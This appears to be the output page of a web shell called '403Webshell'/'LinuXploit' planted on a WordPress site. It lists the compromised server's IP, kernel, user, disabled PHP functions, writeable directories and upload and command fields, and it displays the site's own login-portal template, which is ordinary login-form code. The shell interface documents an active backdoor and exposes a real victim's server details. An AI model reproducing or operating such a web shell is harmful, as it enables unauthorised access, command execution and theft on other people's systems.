403Webshell
Server IP : 35.201.19.92  /  Your IP : 216.73.216.156
Web Server : nginx
System : Linux pod-200961 6.8.0-1055-gke #61-Ubuntu SMP Tue May 26 22:57:42 UTC 2026 x86_64
User : fpm200098 ( 200098)
PHP Version : 8.2.33
Disable Function : apache_child_terminate,apache_get_modules,apache_get_version,apache_getenv,apache_note,apache_setenv,disk_free_space,disk_total_space,diskfreespace,dl,exec,fastcgi_finish_request,link,opcache_compile_file,opcache_get_configuration,opcache_invalidate,opcache_is_script_cached,opcache_reset,passthru,pclose,pcntl_exec,popen,posix_getpid,posix_getppid,posix_getpwuid,posix_kill,posix_mkfifo,posix_setegid,posix_seteuid,posix_setgid,posix_setpgid,posix_setsid,posix_setuid,posix_uname,proc_close,proc_get_status,proc_nice,proc_open,proc_terminate,realpath_cache_get,shell_exec,show_source,symlink,system
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /nas/content/live/questfamilyday/wp-content/themes/generatepress_child/portal/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /nas/content/live/questfamilyday/wp-content/themes/generatepress_child/portal/login-portal.php
<?php
/**
 * Template Name: Login Portal
 * The template for displaying portal account
 *
 * This is the template that displays all pages by default.
 * Please note that this is the WordPress construct of pages
 * and that other 'pages' on your WordPress site will use a
 * different template.
 *
 * @package GeneratePress
 */
if (is_user_logged_in()) {
    wp_redirect(home_url('/dashboard')); // or custom dashboard URL
    exit;
}
if ( ! defined( 'ABSPATH' ) ) {
   exit; // Exit if accessed directly.
}
?>
<!DOCTYPE html>
<html lang="en">
  <head>
   <?php wp_head();?>
   <!-- Theme CSS -->
   <link rel="stylesheet" href="<?php echo esc_url( get_stylesheet_directory_uri() ); ?>/portal/assets/css/style.css" />
   <!-- Bootstrap CSS -->
   <link href="<?php echo esc_url( get_stylesheet_directory_uri() ); ?>/portal/assets/vendor/bootstrap/css/bootstrap.min.css" rel="stylesheet"/>
   <!-- Font Awesome for Icons -->
   <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/5.15.1/css/all.min.css"/>
  </head>
  <body>

    <div class="login-container">
      <!-- Login Card -->
      <div class="login-card">
        <div class="logo mb-5">
          <img src="<?php echo esc_url( get_stylesheet_directory_uri() ); ?>/portal/assets/img/logos/logo.svg" alt="logo" class="m-0 img-fluid" />
        </div>
        <form id="loginForm" name="loginForm">
          <div class="input-group mb-3">
            <input type="text" class="form-control" id="username" name="username" placeholder="Enter email address"autocomplete="false"/>
            <div class="input-group-prepend">
              <span class="input-group-text">
                <img src="<?php echo esc_url( get_stylesheet_directory_uri() ); ?>/portal/assets/img/icons/user.svg" alt="" class="input-img" />
              </span>
            </div>
          </div>
          <div class="input-group mb-3">
            <input type="password" class="form-control" id="password" name="password" placeholder="Enter password" autocomplete="false" />
            <div class="input-group-prepend">
              <span class="input-group-text">
                <img src="<?php echo esc_url( get_stylesheet_directory_uri() ); ?>/portal/assets/img/icons/lock.svg" alt="" class="input-img" />
              </span>
            </div>
          </div>
       
          <input type="submit" class="btn-theme btn-theme-primary w100" name="submit" value="Login">
           <?php wp_nonce_field('portal_login_action', 'portal_login_nonce'); ?>
           <input type="hidden" name="action" value="PortalLogin">
        </form>
        <div id="login-error" style="color: red; display: none;"></div>

        <div class="card-bottom-wrap">
            <a href="<?php echo home_url('/forgot-password/');?>" class="f_link">Forgot Password?</a>
        </div>
      
      </div>
    </div>
   <div id="login-loader" style="display: none;">
      <div class="spinner"></div>
   </div> 
    <!-- Bootstrap JS and dependencies -->
   <script src="<?php echo esc_url( get_stylesheet_directory_uri() ); ?>/portal/assets/vendor/jquery/jquery.min.js"></script>
   <script src="https://cdn.jsdelivr.net/npm/@popperjs/core@2.5.4/dist/umd/popper.min.js"></script>
   <script src="<?php echo esc_url( get_stylesheet_directory_uri() ); ?>/portal/assets/vendor/bootstrap/js/bootstrap.min.js"></script>
   <?php wp_footer();?>
   <script src="https://cdn.jsdelivr.net/npm/jquery-validation@1.19.5/dist/jquery.validate.js"></script>
   <script>
      $(document).ready(function() {
         var rules = {
        rules: {
            username: {
              required: true,
              // email: true // remove this line if username is not an email
            },
            password: {
              required: true,
              minlength: 6
            }
        },
        messages: {
            username: {
              required: "Please enter your username or email",
              // email: "Please enter a valid email address"
            },
            password: {
              required: "Please enter your password",
              minlength: "Password must be at least 6 characters"
            }
        },    
        errorPlacement: function (error, element) {
                var name    = $(element).attr("name");
                var $obj    = $("#" + name + "_validate");
                $obj.html("");
                if($obj.length){
                    error.appendTo($obj);
                }
                else {
                    error.insertAfter(element);
                }
            },
        submitHandler: function (form) {
            $('#login-error').hide();
            $('#login-loader').show(); // 👉 Show loader
            jQuery.ajax({
               type: "POST",
               url: '<?php echo admin_url('admin-ajax.php');?>',
               data: jQuery("#loginForm").serialize(),
               success: function(response)
               {
                  $('#login-loader').hide(); // 👉 hide loader
                  if (response.success) {
                     // Success: redirect or do something
                     window.location.href = response.data.redirect;
                  } else {
                     // ❌ Show error message
                     // $('#login-error').text(response.data.message).show();
                    $('#login-error').html('<div class="alert alert-danger" role="alert">'+response.data.message+'</div>').show();
                  }
               
               },
                 error: function(xhr, status, error) {
                   $('#login-loader').hide(); // 👉 hide loader
                   // $('#login-error').text('An unexpected error occurred.').show();
                   $('#login-error').html('<div class="alert alert-danger" role="alert">An unexpected error occurred.</div>').show();
                 }
              });
        }    
        };
        $("#loginForm").validate(rules);

      });
   </script>

   <style type="text/css">
      #login-loader {
        position: fixed;
        top: 50%;
        left: 50%;
        z-index: 9999;
        transform: translate(-50%, -50%);
      }

      .spinner {
        border: 4px solid #f3f3f3; /* Light grey */
        border-top: 4px solid #3498db; /* Blue */
        border-radius: 50%;
        width: 40px;
        height: 40px;
        animation: spin 0.8s linear infinite;
      }

      @keyframes spin {
        0% { transform: rotate(0deg); }
        100% { transform: rotate(360deg); }
      }

   </style>
  </body>
</html>

Youez - 2016 - github.com/yon3zu
LinuXploit